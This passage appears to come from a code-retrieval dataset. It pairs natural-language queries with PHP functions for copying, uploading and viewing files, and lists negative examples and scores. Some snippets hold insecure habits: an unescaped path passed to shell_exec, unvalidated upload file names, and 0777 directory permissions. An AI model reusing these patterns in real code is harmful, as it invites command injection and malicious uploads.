"protected function copyFile($chmod)\n {\n $matched = array();\n if (!preg_match(\"/\\.([a-zA-Z0-9]+)$/\", $this->mediaName, $matched)) {\n $this->setErrors(\\XoopsLocale::E_INVALID_FILE_NAME);\n return false;\n }\n if (isset($this->targetFileName)) {\n $this->savedFileName = $this->targetFileName;\n } else {\n if (isset($this->prefix)) {\n $this->savedFileName = uniqid($this->prefix) . '.' . strtolower($matched[1]);\n } else {\n $this->savedFileName = strtolower($this->mediaName);\n }\n }\n\n $this->savedDestination = $this->uploadDir . '/' . $this->savedFileName;\n if (!move_uploaded_file($this->mediaTmpName, $this->savedDestination)) {\n $this->setErrors(sprintf(\\XoopsLocale::EF_FILE_NOT_SAVED_TO, $this->savedDestination));\n return false;\n }\n // Check IE XSS before returning success\n $ext = strtolower(substr(strrchr($this->savedDestination, '.'), 1));\n if (in_array($ext, $this->imageExtensions)) {\n $info = @getimagesize($this->savedDestination);\n if ($info === false || $this->imageExtensions[(int)$info[2]] != $ext) {\n $this->setErrors(\\XoopsLocale::E_SUSPICIOUS_IMAGE_UPLOAD_REFUSED);\n @unlink($this->savedDestination);\n return false;\n }\n }\n @chmod($this->savedDestination, $chmod);\n return true;\n }",
"public function putFileToAsset($src, $dstFile)\n {\n if(preg_match('/\\/bootstrap\\//i', $src) ||\n preg_match('/\\/imperavi-redactor-widget\\//i', $src) ||\n preg_match('/\\/yii-debug-toolbar\\//i', $src) ||\n preg_match('/category-([a-z]{2}).js/i', $src)\n ) {\n // just copy into assets directory\n return $this->{$this->transformFunc}($src, $dstFile, 'copy');\n } else {\n $ext = pathinfo($src, PATHINFO_EXTENSION);\n switch ($ext) {\n case 'js':\n if (!$this->minifyJs)\n return $this->{$this->transformFunc}($src, $dstFile, 'copy');\n else {\n $compilerPath = dirname(__FILE__) . '/compiler.jar';\n $command = \"java -jar {$compilerPath} \";\n $command .= \"--js={$src} \";\n $command .= \"--js_output_file={$dstFile}\";\n return $this->{$this->transformFunc}($src, $dstFile, $command);\n }\n case 'css':\n // просто копируем в папку assets\n return $this->{$this->transformFunc}($src, $dstFile, 'copy');\n case 'less':\n // compile less into css\n $dstFileCss = str_replace('.less', '.css', $dstFile);\n\n $command = \"lessc $src -x > $dstFileCss\";\n return $this->{$this->transformFunc}($src, $dstFileCss, $command);\n default:\n // just copy into assets directory\n\n $this->{$this->transformFunc}($src, $dstFile, 'copy', false);\n break;\n }\n }\n return '';\n }",
"function copy($src, $dest)\n\t{\n\t\treturn copy($src, $dest);\n\t}",
"public function copyFile($absolutePath, $targetPath)\n {\n $targetPath = $this->folder->generatePath($targetPath);\n\n fs::copy($absolutePath, (string)$targetPath, true);\n }",
"function write_file($filename,$destination) {\n\tif(is_uploaded_file($filename)){\n\t\tmove_uploaded_file($filename,$destination);\n\t\tprint \"Saved uploaded file as =$destination\\n\";\n\t}\n}",
"function copiant($nombreArchivo,$Destino){\n if(!copy($nombreArchivo,$Destino))\n print(\"\\n<br>Ocurrio un error mientras se intentaba copiar el archivo $nombreArchivo !!\");\n else \n print(\"\\n<br>El archivo $nombreArchivo Se Copio Correctamente\");\n}",
"function __move_file($file, $from, $to){\n\t\t\n\t\t$date = date('Y-m-d H:i:s');\n\t\t$method = 'UploadComponent'; \n\t\t$message = \"$date - $method: __move_file: moving... $from$file\";\n\t\terror_log(\"$message\\n\", 3, \"/var/www/correspondenciaestatal.gob.pa/html/tmp/logs/info_uploads.log\");\n\t\t\t\t\n\t\t\t\t\n\t\tif(file_exists($from . $file)){\n\t\t\t$date = date('Y-m-d H:i:s');\n\t\t\t$method = 'UploadComponent'; \n\t\t\t$message = \"$date - $method: __move_file: file exists!!\";\n\t\t\terror_log(\"$message\\n\", 3, \"/var/www/correspondenciaestatal.gob.pa/html/tmp/logs/info_uploads.log\");\n\t\t\t\t\n\t\t\t//$resp = copy($from.$file, $to.'temp_local.pdf');\n\t\t\t$resp = copy($from.$file, $to.$file);\n\t\t\t\n\t\t\t$content = file_get_contents($to.'temp_local.pdf');\n\t\t\t//file_put_contents('/10.252.76.182'.$to.'temp.pdf', $content);\n\t\t\t//$resp = copy($from.$file, '/10.252.76.182'.$to.'temp.pdf');\n\t\t\t\n\t\t\t$date = date('Y-m-d H:i:s');\n\t\t\t$method = 'UploadComponent'; \n\t\t\t$message = \"$date - $method: __move_file: copying file... $to$file -$resp-\";\n\t\t\terror_log(\"$message\\n\", 3, \"/var/www/correspondenciaestatal.gob.pa/html/tmp/logs/info_uploads.log\");\n\t\t\t\t\n\t\t\treturn $resp;\n\t\t}\n\t\t\n\t\t\t$date = date('Y-m-d H:i:s');\n\t\t\t$method = 'UploadComponent'; \n\t\t\t$message = \"$date - $method: __move_file: file no exists :(\";\n\t\t\terror_log(\"$message\\n\", 3, \"/var/www/correspondenciaestatal.gob.pa/html/tmp/logs/info_uploads.log\");\n\t\treturn false;\n\t}",
"function copyTo(T_File_Path $path)\n {\n $ok = @copy($this->getPath(),$path->__toString());\n if (!$ok) {\n $msg = 'copy to '.$path->__toString().' failed';\n throw new T_Exception_File($this->getPath(),$msg);\n }\n return $this;\n }",
"public function copy_source() {\n\t\t\t$source_file = ABSPATH . '/templates/wp/' . $this->data['version'] . '.zip';\n\t\t\tif ( file_exists( $source_file ) ) {\n\t\t\t\t$zip = new \\ZipArchive;\n\t\t\t\t$res = $zip->open( $source_file );\n\t\t\t\tif ( $res === true ) {\n\t\t\t\t\t$zip->extractTo( $this->data['document_root'] );\n\t\t\t\t\t$zip->close();\n\t\t\t\t\tif ( file_exists( $this->data['document_root'] . 'wordpress/index.php' ) ) {\n\t\t\t\t\t\tshell_exec( 'cp -r ' . $this->data['document_root'] . 'wordpress/* ' . $this->data['document_root'] );\n\t\t\t\t\t\tsystem( \"rm -rf \" . escapeshellarg( $this->data['document_root'] . 'wordpress/' ) );\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$this->danger( 'Unable To Open WordPress Source Zip File @ <code>' . $source_file . '</code>' );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->danger( 'WordPress Version Does Not Exists.' );\n\t\t\t}\n\t\t}",
"public function copyFile($source, $dest) {\n\t\t$source = str_replace(DS . DS, DS, $source);\n\t\t$dest = str_replace(DS . DS, DS, $dest);\n\n\t\t$this->out();\n\n\t\tif (is_file($dest) ) {\n\t\t\t$this->out(__d('cake_console', '<warning>File `%s` exists</warning>', $dest));\n\t\t\t$key = $this->in(__d('cake_console', 'Do you want to overwrite?'), array('y', 'n', 'q'), 'n');\n\n\t\t\tif (strtolower($key) === 'q') {\n\t\t\t\t$this->out(__d('cake_console', '<error>Quitting</error>.'), 2);\n\t\t\t\t$this->_stop();\n\t\t\t} elseif (strtolower($key) !== 'y') {\n\t\t\t\t$this->out(__d('cake_console', 'Skip `%s`', $dest), 2);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->out(__d('cake_console', 'Creating file %s', $dest));\n\t\t}\n\n\t\tif ( copy($source, $dest) ) {\n\t\t\t$this->out(__d('cake_console', '<success>Wrote</success> `%s`', $dest));\n\t\t\treturn true;\n\t\t}\n\n\t\t$this->err(__d('cake_console', '<error>Could not write to `%s`</error>.', $dest), 2);\n\t\treturn false;\n\t}",
"public function upload($file, $dest)\n\t{\n\t}",
"protected function ___install($filename) {\n\t\n\t\t$basename = $filename;\n\t\t\n\t\tif(strpos($basename, '?') !== false) {\n\t\t\tlist($basename, $queryString) = explode('?', $basename); \t\n\t\t\tif($queryString) {} // do not use in basename\n\t\t} \n\t\n\t\tif(empty($basename)) throw new WireException(\"Empty filename\");\n\n\t\t$basename = $this->pagefiles->cleanBasename($basename, true, false, true); \n\t\t$pathInfo = pathinfo($basename); \n\t\t$basename = basename($basename, \".$pathInfo[extension]\"); \n\n\t\t$basenameNoExt = $basename; \n\t\t$basename .= \".$pathInfo[extension]\"; \n\n\t\t// ensure filename is unique\n\t\t$cnt = 0; \n\t\twhile(file_exists($this->pagefiles->path() . $basename)) {\n\t\t\t$cnt++;\n\t\t\t$basename = \"$basenameNoExt-$cnt.$pathInfo[extension]\";\n\t\t}\n\t\t\n\t\t$destination = $this->pagefiles->path() . $basename; \n\t\t\n\t\tif(strpos($filename, '://') === false) {\n\t\t\tif(!is_readable($filename)) throw new WireException(\"Unable to read: $filename\");\n\t\t\tif(!copy($filename, $destination)) throw new WireException(\"Unable to copy: $filename => $destination\");\n\t\t} else {\n\t\t\t$http = $this->wire(new WireHttp());\n\t\t\t// note: download() method throws excepton on failure\n\t\t\t$http->download($filename, $destination);\n\t\t\t// download was successful\n\t\t}\n\t\t\n\t\t$this->wire('files')->chmod($destination);\n\t\t$this->changed('file');\n\t\t$this->isNew(true);\n\t\tparent::set('basename', $basename);\n\t}",
"public function copy($targetPath, $handlerObj = NULL, $handlerMethod = NULL) {\n $this->fileService->copyFile( $this->path, $targetPath, $handlerObj, $handlerMethod );\n }",
"public function copyFile($clientPath, $targetPath, $handlerObj = NULL, $handlerMethod = NULL) {\n $this->_handlersCopyFile[$clientPath] = ($handlerObj&&$handlerMethod ? array( $handlerObj, $handlerMethod ) : NULL);\n $this->callMethod( 'copyFile', array($clientPath, $targetPath));\n }",
"public function copy($path, $target)\n {\n $this->files[$target] = $this->files[$path];\n\n return true;\n }",
"function Copy( $srcUri, $destUri, $overwrite=true )\r\n\t{\r\n\t\tif( $this->debug & DBGTRACE ) echo \"Copy( $srcUri, $destUri, $overwrite )\\n\";\r\n\t\tif( $overwrite )\r\n\t\t\t$this->requestHeaders['Overwrite'] = \"T\";\r\n\t\telse\r\n\t\t\t$this->requestHeaders['Overwrite'] = \"F\";\r\n\t\t\r\n\t\t$destUrl = $this->url['scheme'] . \"://\" . $this->url['host'];\r\n\t\tif( $this->url['port'] != \"\" )\r\n\t\t\t$destUrl .= \":\" . $this->url['port'];\r\n\t\t$destUrl .= $destUri;\r\n\t\t$this->requestHeaders['Destination'] = $destUrl;\r\n\t\t\r\n\t\tif( $this->sendCommand( \"COPY $srcUri HTTP/$this->protocolVersion\" ) )\r\n\t\t\t$this->processReply();\r\n\t\treturn $this->reply;\r\n\t}",
"public static function rcopy($src,$dst) { //dd($src);\n $dir = opendir($src); \n @mkdir($dst); \n while(false !== ( $file = readdir($dir)) ) { \n if (( $file != '.' ) && ( $file != '..' )) { \n if ( is_dir($src . '/' . $file) ) { \n self::rcopy($src . '/' . $file,$dst . '/' . $file); \n } \n else { \n copy($src . '/' . $file,$dst . '/' . $file); \n } \n } \n } \n closedir($dir); \n }",
"function _copyFile($filePath) {\n\t\t$usageStatsFiles = $this->_usageStatsFiles;\n\t\t$usageStatsDir = $this->_usageStatsDir;\n\t\t$tmpDir = $this->_tmpDir;\n\t\t$fileName = pathinfo($filePath, PATHINFO_BASENAME);\n\t\t$fileMgr = new FileManager();\n\n\t\t$isCompressed = false;\n\t\t$uncompressedFileName = $fileName;\n\t\tif (pathinfo($filePath, PATHINFO_EXTENSION) == 'gz') {\n\t\t\t$isCompressed = true;\n\t\t\t$uncompressedFileName = substr($fileName, 0, -3);\n\t\t}\n\n\t\tif (in_array($uncompressedFileName, $usageStatsFiles)) {\n\t\t\tprintf(__('admin.copyAccessLogFileTool.warning.fileAlreadyExists', array('filePath' => $filePath)) . \"\\n\");\n\t\t\treturn;\n\t\t}\n\n\t\t$tmpFilePath = $tmpDir . DIRECTORY_SEPARATOR . $fileName;\n\n\t\t// Copy the file to a temporary directory.\n\t\tif (!$fileMgr->copyFile($filePath, $tmpFilePath)) {\n\t\t\tprintf(__('admin.copyAccessLogFileTool.error.copyingFile', array('filePath' => $filePath, 'tmpFilePath' => $tmpFilePath)) . \"\\n\");\n\t\t\texit(1);\n\t\t}\n\n\t\t// Uncompress it, if needed.\n\t\t$gunzipPath = escapeshellarg(Config::getVar('cli', 'gunzip'));\n\t\tif ($isCompressed) {\n\t\t\texec($gunzipPath . ' ' . $tmpFilePath);\n\t\t\t$tmpFilePath = substr($tmpFilePath, 0, -3);\n\t\t}\n\n\t\t// Filter only entries that contains journal paths.\n\t\t$egrepPath = escapeshellarg(Config::getVar('cli', 'egrep'));\n\t\t$destinationPath = $usageStatsDir . DIRECTORY_SEPARATOR .\n\t\tFILE_LOADER_PATH_STAGING . DIRECTORY_SEPARATOR .\n\t\tpathinfo($tmpFilePath, PATHINFO_BASENAME);\n\t\t// Each journal path is already escaped, see the constructor.\n\t\texec($egrepPath . \" -i '\" . $this->_journalPaths . \"' \" . escapeshellarg($tmpFilePath) . \" > \" . escapeshellarg($destinationPath));\n\n\t\tif (!$fileMgr->deleteFile($tmpFilePath)) {\n\t\t\tprintf(__('admin.copyAccessLogFileTool.error.deletingFile', array('tmpFilePath' => $tmpFilePath)) . \"\\n\");\n\t\t\texit(1);\n\t\t}\n\n\t\tprintf(__('admin.copyAccessLogFileTool.success', array('filePath' => $filePath, 'destinationPath' => $destinationPath)) . \"\\n\");\n\t}",
"public function copyVersionPressFiles()\n {\n FileSystem::copyDir(getenv('VP_DIR'), $this->siteConfig->path . '/wp-content/plugins/versionpress');\n }",
"public static function upload_file($file,$path){\n\t\t\t $filename = $file['name'];\n $source = $file['tmp_name'];\n\t\t\t $ext = pathinfo($filename,PATHINFO_EXTENSION);\n\t\t\t $size = $file['size'] / 1000000;\n\t\t\t self::$filesize = number_format((float)$size, 2, '.', '');\n\t\t\t self::$filesize .= 'MB';\n\n\t\t\t if (self::$name)\n\t\t\t {\n\t\t\t\t $target = $path.self::$name.\".\".$ext;\n\t\t\t\t self::$filename = self::$name.\".\".$ext; \n\t\t\t } \n\t\t\t else \n\t\t\t {\n\t\t\t \t$target = $path.$filename; \n\t\t\t }\n move_uploaded_file($source, $target);\n\t\t}",
"public function copyStorageFileToLocalPath(StorageFile $file, $destinationPath);",
"function custom_copy($src, $dst) {\n $dir = opendir($src); \n \n // Make the destination directory if not exist \n @mkdir($dst); \n \n // Loop through the files in source directory \n while( $file = readdir($dir) ) { \n \n if (( $file != '.' ) && ( $file != '..' )) { \n if ( is_dir($src . '/' . $file) ) \n { \n \n // Recursively calling custom copy function \n // for sub directory \n custom_copy($src . '/' . $file, $dst . '/' . $file); \n \n } \n else { \n copy($src . '/' . $file, $dst . '/' . $file); \n } \n } \n } \n \n closedir($dir); \n }",
"public function copyTo(FileNode $from, FileNode $to);",
"function shared_files_assignment_file_submission($entry, $assignment) {\r\n/// Copies a file to the teacher's assignment directory for that course\r\n\tglobal $CFG, $USER;\r\n\t$pathnew = \"$assignment->course/moddata/assignment/$assignment->id/$USER->id\";\r\n\t$pathold = \"$CFG->dataroot/shared_files/users/$entry->userid\";\r\n\r\n\tmake_upload_directory($pathnew);\r\n\r\n\tif (!copy(\"$pathold/$entry->attachment\", \"$CFG->dataroot/$pathnew/$entry->attachment\")) {\r\n\t\terror (\"Failed to copy file!\", \"view.php?id={$id}&rootdir={$rootdir}\");\r\n\t}\r\n}",
"function smartCopy($source, $dest, $options=array('folderPermission'=>0755, 'filePermission'=>0755)) \r\n{ \r\n\t$result=false; \r\n\t \r\n\tif (is_file($source)) \r\n\t{ \r\n\t\tif ($dest[strlen($dest)-1]=='/') \r\n\t\t{ \r\n\t\t\tif (!file_exists($dest)) \r\n\t\t\t{ \r\n\t\t\t\t cmfcDirectory::makeAll($dest,$options['folderPermission'],true); \r\n\t\t\t} \r\n\t\t\t\r\n\t\t\t$__dest = $dest . \"/\" . basename($source); \r\n\t\t}\r\n\t\telse \r\n\t\t{ \r\n\t\t\t$__dest=$dest; \r\n\t\t}\r\n\t\t\r\n\t\t$result=copy($source, $__dest); \r\n\t\t\r\n\t\tchmod($__dest,$options['filePermission']); \r\n\t\t \r\n\t } elseif(is_dir($source)) { \r\n\t\tif ($dest[strlen($dest)-1]=='/') { \r\n\t\t\tif ($source[strlen($source)-1]=='/') { \r\n\t\t\t\t//Copy only contents \r\n\t\t\t} else { \r\n\t\t\t\t//Change parent itself and its contents \r\n\t\t\t\t$dest=$dest.basename($source); \r\n\t\t\t\t@mkdir($dest); \r\n\t\t\t\tchmod($dest,$options['filePermission']); \r\n\t\t\t} \r\n\t\t} else { \r\n\t\t\tif ($source[strlen($source)-1]=='/') { \r\n\t\t\t\t//Copy parent directory with new name and all its content \r\n\t\t\t\t@mkdir($dest,$options['folderPermission']); \r\n\t\t\t\tchmod($dest,$options['filePermission']); \r\n\t\t\t} else { \r\n\t\t\t\t//Copy parent directory with new name and all its content \r\n\t\t\t\t@mkdir($dest,$options['folderPermission']); \r\n\t\t\t\tchmod($dest,$options['filePermission']); \r\n\t\t\t} \r\n\t\t}\r\n\r\n\t\t$dirHandle=opendir($source); \r\n\t\twhile($file=readdir($dirHandle)) \r\n\t\t{ \r\n\t\t\tif($file!=\".\" && $file!=\"..\") \r\n\t\t\t{ \r\n\t\t\t\tif(!is_dir($source.\"/\".$file)) { \r\n\t\t\t\t\t$__dest=$dest.\"/\".$file; \r\n\t\t\t\t} else { \r\n\t\t\t\t\t$__dest=$dest.\"/\".$file; \r\n\t\t\t\t} \r\n\t\t\t\t//echo \"$source/$file ||| $__dest<br />\"; \r\n\t\t\t\t$result=smartCopy($source.\"/\".$file, $__dest, $options); \r\n\t\t\t} \r\n\t\t} \r\n\t\tclosedir($dirHandle); \r\n\t\t \r\n\t} else { \r\n\t\t$result=false; \r\n\t} \r\n\treturn $result; \r\n}",
"public function copy(string $destination, ?string $name = null, ?string $ext = null ): bool {\n $path = explode(self::SEPARATOR, $this->getPath());\n $old_name = $path[count($path) - 1];\n $ext = $ext ?? (strpos($old_name, \".\") !== false ? explode(\".\", $old_name)[count(explode(\".\", $old_name)) - 1] : '');\n $ext = $ext !== '' ? \".\" . $ext : '';\n $name = $name ?? $old_name;\n if (substr($destination, -strlen($destination)) !== self::SEPARATOR) $destination .= self::SEPARATOR;\n return copy($this->getPath(), $destination . $name . $ext);\n }",
"function rcopy($src, $dst)\n{\n ini_set('max_execution_time', 0);\n set_time_limit(0);\n if (is_dir($src)) {\n if (!file_exists($dst)) : mkdir($dst);\n endif;\n $files = scandir($src);\n foreach ($files as $file) {\n if ($file != \".\" && $file != \"..\") {\n rcopy(\"$src/$file\", \"$dst/$file\");\n }\n }\n } elseif (file_exists($src)) {\n copy($src, $dst);\n }\n return true;\n}",
"function recurse_copy(string $src, string $dst) : void {\n\t$dir = opendir($src);\n\t@mkdir($dst);\n\twhile(false !== ( $file = readdir($dir)) ) {\n\t\tif (( $file != '.' ) && ( $file != '..' )) {\n\t\t\tif ( is_dir($src . '/' . $file) ) {\n\t\t\t\trecurse_copy($src . '/' . $file,$dst . '/' . $file);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tcopy($src . '/' . $file,$dst . '/' . $file);\n\t\t\t}\n\t\t}\n\t}\n\tclosedir($dir);\n}",
"public function copy(string $path, string $target): bool\n {\n return copy($path, $target);\n }",
"public function copy($from, $to)\n\t{\n\t\tglobal $pluginuploader;\n\n\t\t$to = $this->replace_admin_dir($to);\n\t\t\n\t\tif(!$this->use_ftp)\n\t\t{\n\t\t\tif($this->do_copy_php($from, $to))\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$return = false;\n\t\t\t\tif(@chmod('path', 0777))\n\t\t\t\t{\n\t\t\t\t\tif($this->do_copy_php($from, $to))\n\t\t\t\t\t{\n\t\t\t\t\t\t$return = true;\n\t\t\t\t\t}\n\t\t\t\t\t@chmod('path', 0755);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $return;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif($this->ftp_connect())\n\t\t\t{\n\t\t\t\t//echo MYBB_ROOT . \"<br />\";\n\t\t\t\t//echo $from . \"<br />\";\n\t\t\t\t//echo $to . \"<br />\";\n\t\t\t\t//echo ftp_pwd($ftp) . \"<br />\";\n\t\t\t\t$ftp_dir = MYBB_ROOT;\n\t\t\t\t$ftp_to = $to;\n\t\t\t\t$ftp_from = $from;\n\t\t\t\twhile(!empty($ftp_dir) && !@ftp_chdir($this->ftp_connection, $ftp_dir))\n\t\t\t\t{\n\t\t\t\t\t$ftp_dir = strstr(ltrim($ftp_dir, \"/\"), \"/\");\n\t\t\t\t\t$ftp_from = strstr(ltrim($ftp_from, \"/\"), \"/\");\n\t\t\t\t\t$ftp_to = strstr(ltrim($ftp_to, \"/\"), \"/\");\n\t\t\t\t\t//echo $ftp_dir . \"<br />\";\n\t\t\t\t}\n\t\t\t\tif(empty($ftp_dir))\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t//echo ftp_pwd($ftp) . \"<br />\";\n\t\t\t\t//echo $ftp_from . \"<br />\";\n\t\t\t\t//echo $ftp_to . \"<br />\";\n\t\t\t\t$ftp_to_info = pathinfo($ftp_to);\n\t\t\t\t$ftp_to_dir = $ftp_to_info['dirname'];\n\t\t\t\t//exit;\n\n\t\t\t\tif($this->do_copy_ftp($ftp_from, $ftp_to, $from, $to))\n\t\t\t\t{\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$return = false;\n\t\t\t\t\tif(@ftp_chmod($this->ftp_connection, $this->get_ftp_chmod(777), $ftp_to_dir))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->do_copy_ftp($ftp_from, $ftp_to, $from, $to))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$return = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t@ftp_chmod($this->ftp_connection, $this->get_ftp_chmod(755), $ftp_to_dir);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\treturn $return;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}",
"protected function cp ($aFile) {\n if (!is_array($aFile) || !isset($aFile['dst']) || !isset($aFile['src'])) {\n throw MLException::factory(\n 'update',\n 'Wrong Paramater for {#method#}.',\n 1407833718\n )->setData(array('method' => __METHOD__));\n }\n $sSrc = $aFile['src'];\n $sDst = $aFile['dst'];\n if (!file_exists(dirname($sDst))) {\n $this->mkdir(array('dst' => dirname($sDst)));\n }\n if (strpos($sSrc, 'http') === 0) {\n MLHelper::getFilesystemInstance()->write($sDst, MLHelper::gi('remote')->fileGetContents($sSrc));\n } else {\n MLHelper::getFilesystemInstance()->cp($sSrc, $sDst);\n }\n return $this;\n }",
"function uploadFileAndRename($strPathSaveTo, $file, $s_file_name)\n\t{\n\t\t$bReturn = true;\n\t\tif ($file['name'])\n\t\t{\n\t\t\tif (!file_exists($strPathSaveTo))\n\t\t\t{\n\t\t\t\tmkdir ($strPathSaveTo, 0777);\n\t\t\t}\n\t\t\t$strPath = $strPathSaveTo . $s_file_name;\n\t\t\tif (is_file($strPath))\n\t\t\t{\n\t\t\t\tunlink($strPath);\t\n\t\t\t}\n\t\t\tif (!is_file($strPath))\n\t\t\t{\n\t\t\t\tif (!copy($file['tmp_name'], $strPath))\n\t\t\t\t{\n\t\t\t\t\t$bReturn = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $bReturn;\n\t}",
"function fn_copy($source, $dest, $silent = true, $exclude_files = array())\n{\n /**\n * Ability to forbid file copy or change parameters\n *\n * @param string $source source file/directory\n * @param string $dest destination file/directory\n * @param boolean $silent silent flag\n * @param array $exclude files to exclude\n */\n fn_set_hook('copy_file', $source, $dest, $silent, $exclude_files);\n\n if (empty($source)) {\n return false;\n }\n\n // Simple copy for a file\n if (is_file($source)) {\n $source_file_name = fn_basename($source);\n if (in_array($source_file_name, $exclude_files)) {\n return true;\n }\n if (@is_dir($dest)) {\n $dest .= '/' . $source_file_name;\n }\n if (filesize($source) == 0) {\n $fd = fopen($dest, 'w');\n fclose($fd);\n $res = true;\n } else {\n $res = @copy($source, $dest);\n }\n @chmod($dest, DEFAULT_FILE_PERMISSIONS);\n clearstatcache(true, $dest);\n\n return $res;\n }\n\n // Make destination directory\n if ($silent == false) {\n $_dir = strpos($dest, Registry::get('config.dir.root')) === 0 ? str_replace(Registry::get('config.dir.root') . '/', '', $dest) : $dest;\n fn_set_progress('echo', $_dir . '<br/>');\n }\n\n // Loop through the folder\n if (@is_dir($source)) {\n\n if (!fn_mkdir($dest)) {\n return false;\n }\n \n $dir = dir($source);\n while (false !== $entry = $dir->read()) {\n // Skip pointers\n if ($entry == '.' || $entry == '..') {\n continue;\n }\n\n // Deep copy directories\n if ($dest !== $source . '/' . $entry) {\n if (fn_copy($source . '/' . $entry, $dest . '/' . $entry, $silent, $exclude_files) == false) {\n return false;\n }\n }\n }\n\n // Clean up\n $dir->close();\n\n return true;\n } else {\n return false;\n }\n}"
] | [
"0.74037117",
"0.6942155",
"0.69416493",
"0.6775083",
"0.67232686",
"0.6680873",
"0.65487236",
"0.6500149",
"0.64600813",
"0.6448632",
"0.6361273",
"0.63214225",
"0.62120974",
"0.61414355",
"0.61208284",
"0.6107485",
"0.60790867",
"0.60675615",
"0.60310763",
"0.6030979",
"0.6018429",
"0.59605956",
"0.5947514",
"0.59279907",
"0.5925016",
"0.59091336",
"0.59056526",
"0.5904626",
"0.5884716",
"0.5880281",
"0.5868",
"0.58649325",
"0.58462155",
"0.58286774",
"0.5818133",
"0.5811231",
"0.5804537",
"0.5784244",
"0.5772605",
"0.5761134",
"0.5757203",
"0.57487917",
"0.5739582",
"0.5705333",
"0.56854457",
"0.56635344",
"0.56010985",
"0.5595973",
"0.5590311",
"0.5578386",
"0.557557",
"0.5567481",
"0.5558909",
"0.5501319",
"0.54970676",
"0.54952353",
"0.54705536",
"0.5464471",
"0.54643756",
"0.5457838",
"0.5457087",
"0.54373914",
"0.54365",
"0.5429655",
"0.5424256",
"0.5410377",
"0.5402595",
"0.54019195",
"0.53881854",
"0.5387398",
"0.5378722",
"0.5374097",
"0.53683406",
"0.53673506",
"0.53587514",
"0.535336",
"0.53431374",
"0.5342956",
"0.5337637",
"0.53324425",
"0.53286755",
"0.53200996",
"0.5317651",
"0.53119147",
"0.5309633",
"0.5305948",
"0.5305794",
"0.5293608",
"0.52874064",
"0.5280866",
"0.528082",
"0.52801865",
"0.5274921",
"0.52730364",
"0.5259803",
"0.52521473",
"0.5244754",
"0.52424467",
"0.523343",
"0.52329767"
] | 0.5767668 | 39 |
If the file i given (used in views) | public function fileGiven($file)
{
// Check if a file was given
if(!empty($file['tmp_name']))
{
return true;
}
return false;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"private function checkFile()\n {\n $absDir = DIRREQ.$this->dir;\n if (file_exists($absDir.$this->file.'.php')) {\n $this->page = $absDir.$this->file.'.php';\n } elseif (file_exists($absDir.'index.php')) {\n $this->page = $absDir.'index.php';\n } else {\n $this->page = DIRREQ.'views/404.php'; \n }\n }",
"protected function isFile() {}",
"abstract public function getViewFile($viewName);",
"public function view() {\n $file_name = $this->uri->segment(4);\n if ($file_name != \"\" && file_get_contents(base_url().\"assets/uploadedfiles/\".$file_name)) {\n $this->data['file_name'] = $file_name;\n $this->load->view(\"uploads/view\", $this->data);\n } else {\n redirect(\"admin/auth\");\n }\n }",
"public function view() {\n $file_name = $this->uri->segment(4);\n if ($file_name != \"\" && file_get_contents(base_url().\"assets/uploadedfiles/\".$file_name)) {\n $this->data['file_name'] = $file_name;\n $this->load->view(\"uploads/view\", $this->data);\n } else {\n redirect(\"admin/auth\");\n }\n }",
"public function View($file,$data)\n {\n $path = '../view/'. $file . '.php';\n //dd($path);\n if (file_exists($path)){\n ob_start();\n require_once $path;\n $content = ob_get_clean();\n require_once '../view/layout/main.php';\n } else{\n echo \"404 NOT FOUND\";\n }\n }",
"private function _view_file_exists()\n {\n $route = Rails::application()->dispatcher()->router()->route();\n # Build a simple path for the view file, as there's no support for\n # stuff like modules.\n # Note that the extension is PHP, there's no support for different\n # request formats.\n $base_path = Rails::config('views_path');\n $view_path = $base_path . '/' . $route->path() . '.php';\n return is_file($view_path);\n }",
"public function is_file($file)\n {\n }",
"public function is_file($file)\n {\n }",
"public function is_file($file)\n {\n }",
"public function is_file($file)\n {\n }",
"public function is_file($file)\n {\n }",
"private function isLoad($file){\n\t\treturn in_array($file, $this->file, true);\n\t}",
"function getViewFilePath();",
"private static function viewCheckTemplateFile(): void\n {\n if (empty($viewTemplateFile = self::$routeController->getTemplateFile())) {\n throw new Exception(self::UNDEFINED_TEMPLATE_FILE[1], self::UNDEFINED_TEMPLATE_FILE[0]);\n }\n\n self::$viewTemplateFile = new TypeString($viewTemplateFile);\n }",
"public function file(){\n $multilevel = menuadmin::get_data();\n $index = menuadmin::where('part','file')->first();\n $aktif_menu = menuadmin::aktif_menu($index['id']);\n return view('backend.att.file', compact('multilevel','aktif_menu'));\n }",
"public function isFile();",
"static function file($file, array $data = []){\n // Do you love displaying blank pages?\n if($file === 'index' || $file === 'index.php'){\n Debugger::report(404, true);\n }else{\n /**\n * Get the path of the calling script and get it's containing Directory\n * to enable include() style of accessing files\n */\n $callingScriptPath = debug_backtrace()[0]['file'];\n $callingScriptDirectory = realpath(dirname($callingScriptPath));\n if(file_exists($callingScriptDirectory.'/'.$file)){\n self::render($callingScriptDirectory.'/'.$file, $data);\n }else if(file_exists($callingScriptDirectory.'/'.$file.'.php')){\n self::render($callingScriptDirectory.'/'.$file.'.php', $data);\n }else if(file_exists(SS_PATH.$file)){\n self::render($file, $data);\n }else if(file_exists(SS_PATH.$file.'.php')){\n self::render(SS_PATH.$file.'.php', $data);\n }else{\n Debugger::report(404, true);\n }\n }\n }",
